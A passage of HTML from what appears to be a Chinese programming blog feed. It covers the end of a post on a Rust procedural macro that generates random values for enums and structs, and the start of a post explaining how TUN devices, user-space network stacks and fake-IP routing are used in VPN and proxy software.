</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=k>ref</span><span class=w> </span><span class=n>ident</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>variant</span><span class=p>.</span><span class=n>ident</span><span class=p>;</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>match</span><span class=w> </span><span class=o>&</span><span class=n>variant</span><span class=p>.</span><span class=n>fields</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>syn</span>::<span class=n>Fields</span>::<span class=n>Named</span><span class=p>(</span><span class=n>field</span><span class=p>)</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>fields</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>field</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>named</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>iter</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>filter_map</span><span class=p>(</span><span class=o>|</span><span class=n>field</span><span class=o>|</span><span class=w> </span><span class=n>field</span><span class=p>.</span><span class=n>ident</span><span class=p>.</span><span class=n>as_ref</span><span class=p>())</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>map</span><span class=p>(</span><span class=o>|</span><span class=n>ident</span><span class=o>|</span><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>ident</span>: <span class=nc>__rng</span><span class=p>.</span><span class=n>gen</span><span class=p>()</span><span class=w> </span><span class=p>})</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>collect</span>::<span class=o><</span><span class=nb>Vec</span><span class=o><</span><span class=n>_</span><span class=o>>></span><span class=p>();</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>name</span>::#<span class=n>ident</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=p>(</span>#<span class=n>fields</span><span class=p>,)</span><span class=o>*</span><span class=w> </span><span class=p>}</span><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>syn</span>::<span class=n>Fields</span>::<span class=n>Unnamed</span><span class=p>(</span><span class=n>field</span><span class=p>)</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>fields</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>field</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>unnamed</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>iter</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>map</span><span class=p>(</span><span class=o>|</span><span class=n>field</span><span class=o>|</span><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span><span class=n>__rng</span><span class=p>.</span><span class=n>gen</span><span class=p>()</span><span class=w> </span><span class=p>})</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>collect</span>::<span class=o><</span><span class=nb>Vec</span><span class=o><</span><span class=n>_</span><span class=o>>></span><span class=p>();</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>name</span>::#<span class=n>ident</span><span class=w> </span><span class=p>(</span>#<span class=p>(</span>#<span class=n>fields</span><span class=p>),</span><span class=o>*</span><span class=p>)</span><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>syn</span>::<span class=n>Fields</span>::<span class=n>Unit</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>name</span>::#<span class=n>ident</span><span class=w> </span><span class=p>},</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>});</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>match</span><span class=w> </span><span class=n>len</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=mi>1</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=p>(</span>#<span class=n>arms</span><span class=p>)</span><span class=o>*</span><span class=w> </span><span class=p>},</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=mi>2</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=p>(</span><span class=n>a</span><span class=p>,</span><span class=w> </span><span class=n>b</span><span class=p>)</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=p>(</span><span class=n>arms</span><span class=p>.</span><span class=n>next</span><span class=p>(),</span><span class=w> </span><span class=n>arms</span><span class=p>.</span><span class=n>next</span><span class=p>());</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span><span class=k>if</span><span class=w> </span><span class=n>__rng</span><span class=p>.</span><span class=n>gen</span><span class=p>()</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>a</span><span class=w> </span><span class=p>}</span><span class=w> </span><span class=k>else</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>b</span><span class=w> </span><span class=p>}</span><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>_</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=k>mut</span><span class=w> </span><span class=n>variants</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>arms</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>enumerate</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>map</span><span class=p>(</span><span class=o>|</span><span class=p>(</span><span class=n>index</span><span class=p>,</span><span class=w> </span><span class=n>arm</span><span class=p>)</span><span class=o>|</span><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>index</span><span class=w> </span><span class=o>=></span><span class=w> </span>#<span class=n>arm</span><span class=w> </span><span class=p>})</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>collect</span>::<span class=o><</span><span class=nb>Vec</span><span class=o><</span><span class=n>_</span><span class=o>>></span><span class=p>();</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>variants</span><span class=p>.</span><span class=n>push</span><span class=p>(</span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span><span class=n>_</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=fm>unreachable!</span><span class=p>()</span><span class=w> </span><span class=p>});</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span><span class=k>match</span><span class=w> </span><span class=n>__rng</span><span class=p>.</span><span class=n>gen_range</span><span class=p>(</span><span class=mi>0</span><span class=o>..</span>#<span class=n>len</span><span class=p>)</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=p>(</span>#<span class=n>variants</span><span class=p>,)</span><span class=o>*</span><span class=w> </span><span class=p>}</span><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>}</span><span class=w> </span><span class=k>else</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>unimplemented!</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>};</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><h3 id=我讨厌递归><a href=#我讨厌递归 class="header-mark headerLink">我讨厌递归</a></h3><p>紧接着就会发现,上面在 <code>Named</code> 和 <code>Unamed</code> 的部分进行递归 <code>__rng.gen()</code>,需要其使用的类型也实现相应的 trait。除去已有的对基本类型的实现外,剩下的类型就需要我们手动实现,这也就要求我们的过程宏也能应用在其他结构上。</p><p>因此我们的函数需要进行修改,以处理其他非枚举类型:结构体和元组(元组在我的需求中没用到,就不实现了)。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=kd>let</span><span class=w> </span><span class=n>rand</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=k>match</span><span class=w> </span><span class=n>ast</span><span class=p>.</span><span class=n>data</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>syn</span>::<span class=n>Data</span>::<span class=n>Struct</span><span class=p>(</span><span class=k>ref</span><span class=w> </span><span class=n>data</span><span class=p>)</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>fields</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>data</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>fields</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>iter</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>filter_map</span><span class=p>(</span><span class=o>|</span><span class=n>field</span><span class=o>|</span><span class=w> </span><span class=n>field</span><span class=p>.</span><span class=n>ident</span><span class=p>.</span><span class=n>as_ref</span><span class=p>())</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>map</span><span class=p>(</span><span class=o>|</span><span class=n>ident</span><span class=o>|</span><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>ident</span>: <span class=nc>__rng</span><span class=p>.</span><span class=n>gen</span><span class=p>()</span><span class=w> </span><span class=p>})</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>collect</span>::<span class=o><</span><span class=nb>Vec</span><span class=o><</span><span class=n>_</span><span class=o>>></span><span class=p>();</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=n>name</span><span class=w> </span><span class=p>{</span><span class=w> </span>#<span class=p>(</span>#<span class=n>fields</span><span class=p>,)</span><span class=o>*</span><span class=w> </span><span class=p>}</span><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>syn</span>::<span class=n>Data</span>::<span class=n>Enum</span><span class=p>(</span><span class=k>ref</span><span class=w> </span><span class=n>data</span><span class=p>)</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=c1>// 刚刚的方法拿进来
</span></span></span><span class=line><span class=cl><span class=c1></span><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>_</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=fm>unimplemented!</span><span class=p>(),</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>};</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><p>测试,发现 459 个成员通过了 458 个,剩下的那一个成员是 <code>Cow</code> 类型的。是真的烦,没办法给 Cow 实现这个 trait,甚至理论上根本没办法生成一个随机的 <code>Cow</code>,因为其根本不拥有数据,它只有指针。</p><p>我马上想到了一个解决方案,牺牲一点性能,用 <code>Vec</code> 替换掉 <code>Cow</code>。虽然我们仍然无法给 <code>Vec</code> 实现这个 trait(因为 <code>Vec</code> 是外部定义的),但是我可以在解析的时候判断一下类型,如果是 <code>Vec</code> 就手动生成随机长度的随机数据,我真是个小机灵鬼。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span><span class=lnt>22
</span><span class=lnt>23
</span><span class=lnt>24
</span><span class=lnt>25
</span><span class=lnt>26
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=kd>let</span><span class=w> </span><span class=n>fields</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>field</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>unnamed</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>iter</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>map</span><span class=p>(</span><span class=o>|</span><span class=n>field</span><span class=o>|</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>if</span><span class=w> </span><span class=n>inner_type_is_vec</span><span class=p>(</span><span class=o>&</span><span class=n>field</span><span class=p>.</span><span class=n>ty</span><span class=p>)</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>i</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>__rng</span><span class=p>.</span><span class=n>gen_range</span><span class=p>(</span><span class=mi>0</span><span class=o>..</span><span class=mi>100</span><span class=p>);</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>__rng</span><span class=p>.</span><span class=n>sample_iter</span><span class=p>(</span>::<span class=n>rand</span>::<span class=n>distributions</span>::<span class=n>Standard</span><span class=p>)</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>take</span><span class=p>(</span><span class=n>i</span><span class=p>)</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>collect</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w> </span><span class=k>else</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=fm>quote!</span><span class=w> </span><span class=p>{</span><span class=w> </span><span class=n>__rng</span><span class=p>.</span><span class=n>gen</span><span class=p>()</span><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>})</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>collect</span>::<span class=o><</span><span class=nb>Vec</span><span class=o><</span><span class=n>_</span><span class=o>>></span><span class=p>();</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=k>fn</span> <span class=nf>inner_type_is_vec</span><span class=p>(</span><span class=n>ty</span>: <span class=kp>&</span><span class=nc>syn</span>::<span class=n>Type</span><span class=p>)</span><span class=w> </span>-> <span class=kt>bool</span> <span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>if</span><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>syn</span>::<span class=n>Type</span>::<span class=n>Path</span><span class=p>(</span><span class=n>syn</span>::<span class=n>TypePath</span><span class=w> </span><span class=p>{</span><span class=w> </span><span class=k>ref</span><span class=w> </span><span class=n>path</span><span class=p>,</span><span class=w> </span><span class=o>..</span><span class=w> </span><span class=p>})</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>ty</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>if</span><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=nb>Some</span><span class=p>(</span><span class=n>seg</span><span class=p>)</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>path</span><span class=p>.</span><span class=n>segments</span><span class=p>.</span><span class=n>last</span><span class=p>()</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>return</span><span class=w> </span><span class=n>seg</span><span class=p>.</span><span class=n>ident</span><span class=w> </span><span class=o>==</span><span class=w> </span><span class=s>"Vec"</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kc>false</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>}</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><p>测试,全部通过!开心!</p><h2 id=总结><a href=#总结 class="header-mark headerLink">总结</a></h2><p>学习过程宏,写过程宏、写测试用例,到最后测试通过,着实花了不小功夫。原本还挺有成就感的,直到刚刚,我发现虽然 <code>rand</code> 不再维护这个 <code>derive</code>宏了,但是有一个第三方维护的版本,测试了一下,除了有几个测试用例过不了,在我目前的需求上完全可用。真是痛苦,如果早点发现就好了,又是造轮子的下午。不过幸亏最终结果是好的,通过编写过程宏,用 100 行代码完成了需要 2k+ 行代码的任务,最重要的是不再枯燥。</p><p>Rust 的宏机制真的强大,利用好可以做很多有意思的事。例如目前的变长参数函数还有序列化反序列化,在Rust中都是通过过程宏实现的。通过过程宏可以将其他语言中很多需要在运行时进行的工作提前到编译期进行,明显的提高了Rust程序的性能和灵活性,为我们提供了强大的表达和实现能力。</p><p>我突然想到,可以用宏来做代码混淆和字面量加密,后面尝试一下。</p>]]></description></item><item><title>使用 TUN 的模式</title><link>https://zu1k.com/posts/coding/tun-mode/</link><pubDate>Tue, 22 Mar 2022 22:01:18 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/coding/tun-mode/</guid><description><![CDATA[
<p><strong>TUN</strong> 是内核提供的三层虚拟网络设备,由软件实现来替代真实的硬件,相当于在系统网络栈的三层(网络层)位置开了一个口子,将符合条件(路由匹配)的三层数据包交由相应的用户空间软件来处理,用户空间软件也可以通过TUN设备向系统网络栈注入数据包。可以说,TUN设备是用户空间软件和系统网络栈之间的一个通道。</p><blockquote><p><strong>TAP</strong> 是二层(以太网)虚拟网络设备,处理的是以太帧,更加底层可以拿到更多信息,但不在本文的讨论范围。</p></blockquote><p>我们想要利用TUN来做一些事情,实际上就是要编写一个用户态程序,拿到 TUN 设备句柄,向其写入序列化的IP数据包,从中读取数据并还原成IP数据包进行处理,必要时需要取出其payload继续解析为相应传输层协议。</p><p>通常使用 TUN 技术的是 VPN 和代理程序,然而这两类程序在对待 TUN 中传递的 IP 数据包时通常有不同的行为:</p><ul><li><p><strong>VPN</strong> 通常做<strong>网络层</strong>的封装:将拿到的 IP 包进行加密和封装,然后通过某个连接传输到另一个网络中,在解封装和解密后,将 IP 包发送到该网络。在这个过程中,对 IP 包本身的修改是非常小的,不会涉及到整体结构的变动,通常仅会修改一下源 IP 和目标 IP ,做一下 NAT。</p></li><li><p><strong>代理程序</strong> 通常是<strong>传输层</strong>的代理:在从 TUN 设备拿到 IP 包后,需要继续解析其 payload,还原出 TCP 或者 UDP 结构,然后加密和封装传输层 (TCP或UDP) 的 payload。网络层的 IP 和传输层的端口信息通常会作为该连接的元数据进行处理,使用额外的加密和封装手段。</p></li></ul><p>简单来说,VPN 不需要解析 IP 包的 payload,而代理程序需要解析出传输层信息并处理,特别是像 TCP 这样复杂的协议,对其处理更是需要非常小心和严谨。对于代理程序这样的需求,如果我们使用 TUN 技术,通常有两种模式:在用户态实现网络栈,或者直接利用操作系统网络栈实现。</p><h2 id=用户态网络栈><a href=#用户态网络栈 class="header-mark headerLink">用户态网络栈</a></h2><p>第一种选择是在用户态实现网络栈,这是不小的工程啊,特别是实现 TCP 协议,因为其协议非常复杂,实现起来有很多细节需要注意,所以自己实现非常容易犯错。所以我们一般会直接找现成的实现来用,现有不少比较成熟且高效的实现,我相信肯定比我自己写的要好几个数量级。</p><h3 id=网络栈实现><a href=#网络栈实现 class="header-mark headerLink">网络栈实现</a></h3><ul><li><p>如果使用 <strong>C</strong> 语言,<a href=https://savannah.nongnu.org/projects/lwip/ target=_blank rel="noopener noreffer" class=post-link><strong>lwIP</strong></a> 是一个非常不错的选择,由瑞典计算机科学研究所科学院开源,这是一个轻量级的 TCP/IP 栈实现,在占用超少内存的情况下,实现了完整的 TCP,被广泛应用到嵌入式设备中,稳定性有保证。同时,lwIP 有很多其他语言的绑定,包括 go 和 rust,这使我们在使用其他语言开发时也可以选择 lwIP 作为用户态网络栈实现。</p></li><li><p>如果选择使用 <strong>Go</strong> 语言开发 TUN 的用户态程序(其实这也是大多数人的选择),可以选择 Google 开源的 <a href=https://github.com/google/gvisor/tree/master/pkg/tcpip target=_blank rel="noopener noreffer" class=post-link><strong>gVisor</strong></a> 中的实现,gVisor项目目的是为容器提供自己的应用程序内核,其中 tcpip 的实现有 Google 背书,质量有保证。</p></li><li><p>如果选择使用 <strong>Rust</strong> 进行开发,我们的选择就会困难一点,并没有一个饱经风霜、经过时间检验的实现,在广泛对比之后我推荐 <a href=https://github.com/smoltcp-rs/smoltcp target=_blank rel="noopener noreffer" class=post-link><strong>smoltcp</strong></a>,这是为裸机实时系统开发的独立的、事件驱动的 TCP/IP 栈,其设计目标是简单和健壮,应该可以信任吧。</p></li><li><p>当然,我觉得还有一个可以期待的实现,就是 Google 为 Fuchsia 操作系统开发的 <a href=https://cs.opensource.google/fuchsia/fuchsia/+/master:src/connectivity/network/netstack3/ target=_blank rel="noopener noreffer" class=post-link><strong>Netstack3</strong></a>,之前是由 Go 实现的,不过现在 Google 用 Rust 重新实现了一个新的,谷歌背书,可以期待。</p></li></ul><h3 id=使用流程><a href=#使用流程 class="header-mark headerLink">使用流程</a></h3><p>在看完可供选择的实现后,我们来看一下在用户空间实现的网络栈如何使用。虽然不同在不同实现下,各个库有不同的编程接口和使用方法,但基本的思路都是一致的,这里我们便仅讨论基本使用流程。</p><h4 id=基本思路><a href=#基本思路 class="header-mark headerLink">基本思路</a></h4><p>从原理上来讲,用户态网络栈就是要不断通过协议解析,从 IPv4 数据包中不断解析出 TCP 流中的载荷数据;将传输层载荷通过不断的协议封装,拿到最终的 IPv4 数据包。</p><p><strong>从 TUN 往外读</strong></p><p>从 TUN 设备所对应的句柄中读出了一段字节序列,便是需要处理的IP数据包,一般是 IPv4 协议,不过还是需要先根据字节序列的第一个字节进行判断。</p><p>如果判断为 IPv4 包,就将整个字节序列扔到 IPv4 的 Packet Parser 实现中,还原出 IPv4 数据包结构。根据 IPv4 Header 中的 protocol 字段,判断 payload 应该使用哪个上层协议解析。<a href=https://datatracker.ietf.org/doc/html/rfc791#page-11 target=_blank rel="noopener noreffer" class=post-link>rfc791</a></p><p>一般仅需要处理 ICMP、TCP、UDP 这三种协议,拿 TCP 为例,只需要将 IPv4 的 payload 扔到 TCP 的 Parser 中,即可取出我们想要的传输层载荷。(实际情况当然没有说的这么简单)</p><p><strong>向 TUN 写数据</strong></p><p>写的过程其实就是读的过程反过来,拿到的是某个传输层协议的 payload,就拿UDP为例,根据该数据报的元信息,构建出完整的 UDP Header,然后将 payload 内容拼接进去。</p><p>接下来构建 IPv4 Header,然后将 UDP 报文拼接进 IPv4 payload 中。在拿到 IPv4 数据包后,即可序列化为字节序列,写入 TUN 句柄了。</p><h4 id=实际使用><a href=#实际使用 class="header-mark headerLink">实际使用</a></h4><p>上面的读、写过程看起来简单,但实际需要考虑的东西非常多,包括但不限于分片、丢包、重传、流量控制等等,TCP 作为一个极其复杂的传输层协议,有巨多情况需要考虑,很明显用上面的基本思路是非常繁琐并且难以使用的。</p><p>众多用户态网络栈肯定考虑到了这一点,实现都提供了非常友好且直接的接口,可以直接创建一个 TCP/IP 网络栈实例,拿到两个句柄,一端负责读取和写入网络层 IP 数据包,另一端负责接收和写入传输层载荷,中间的复杂转换关系和特殊情况都被内部屏蔽掉了。</p><h2 id=操作系统网络栈><a href=#操作系统网络栈 class="header-mark headerLink">操作系统网络栈</a></h2><p>根据我们的需求,实际就是在 IPv4 和 TCP payload 之间进行转换,而操作系统的网络栈正好就有这个功能,我们无法简单的直接使用操作系统的网络栈代码,但是可以想办法复用操作系统网络栈提供的功能。TUN 在网络层已经打开了一个口子,还需要在传输层也打开一个口子,其实可以利用操作系统提供的 socket。</p><p>我们使用操作系统提供的 Socket 创建一个传输层的 Listener,将某个 IPv4 数据包的目标 IP 和目标端口修改为我们监听的 IP 和端口,然后通过 TUN 将该 IPv4 数据包注入到操作系统的网络栈中,操作系统就会自动的进行相应的解析,并将所需要的传输层 payload 通过前面创建的 Socket 发送给 Listener,由此便利用操作系统网络栈完成了 “往外读” 的操作。</p><p>对于“向里写”的操作,只需要向刚刚创建的传输层连接句柄写入即可,操作系统的网络栈同样会进行相应的封包,最后形成 IPv4 数据包。很明显,需要考虑反向的数据包,当向传输层连接的句柄中写入数据、操作系统的网络栈封包时,源 IP 和源端口会被视为新的目标 IP 和目标端口,因为我们需要使返回的 IPv4 数据包能够被 TUN 接口捕获到,在上面步骤中就不能只修改目标 IP 和目标端口,同时还要修改源 IP 和源端口,源 IP 应该限制为 TUN 网段中的 IP。</p><h3 id=工作流程><a href=#工作流程 class="header-mark headerLink">工作流程</a></h3><p>在利用操作系统网络栈时,通常是以下步骤,这里拿 TCP 协议举例。</p><p>在我们的例子中, TUN网络的配置为 <code>198.10.0.1/16</code>,主机IP为 <code>198.10.0.1</code>,代理客户端监听 <code>198.10.0.1:1313</code>,App想要访问 <code>google.com:80</code>,自定义的DNS服务返回<code>google.com</code>的 Fake IP <code>198.10.2.2</code>。</p><p><strong>1. Proxy 创建 TCP Socket Listener</strong></p><p>这里首先要在系统网络栈的传输层开个口子,创建一个 TCP Socket Listener,监听 <code>198.10.0.1:1313</code></p><p><strong>2. 某 App 发起连接</strong></p><p>当某需要代理的App发起连接,访问 <code>google.com:80</code>,我们通过自定义的 DNS 服务返回一个 Fake IP (<code>198.10.2.2</code>),使流量被路由到 TUN 设备上。</p><blockquote><p>当然这里也可以不使用 Fake IP 方式来捕获流量,通过配置路由规则或者流量重定向也可以将流量导向 TUN 设备,不过 Fake IP 是最常用的方法,所以这里以此举例。</p></blockquote><div class=mermaid id=id-1></div><p><strong>3. 将 TUN 读取到的 IPv4 解析为 TCP 载荷数据</strong></p><p>TUN 设备捕获到流量,也就是 IPv4 数据包,在读取出来后,需要利用系统网络栈解析出 TCP 载荷数据。</p><p>这一步,需要将读取到的IPv4数据包进行修改,也就是我们上面说的 源IP、源端口,目标IP和目标端口,还有相应的 checksum 也需要重新计算。修改的目的是让 IPv4 数据包通过 TUN 注入到操作系统网络栈后,能够被正确路由并通过一开始监听的TCP Socket将最里层的 TCP payload 返还给我们。</p><div class=mermaid id=id-2></div><p>这里为了方便,直接将源 IP 和源端口设置为初始的目标 IP 和目标端口,在实际编程时,有更多的设置策略,也就是 NAT 策略。</p><p><strong>4. 代理客户端请求代理服务器</strong></p><p>此时代理客户端已经拿到了请求的真实 TCP 载荷,并且可以通过获取 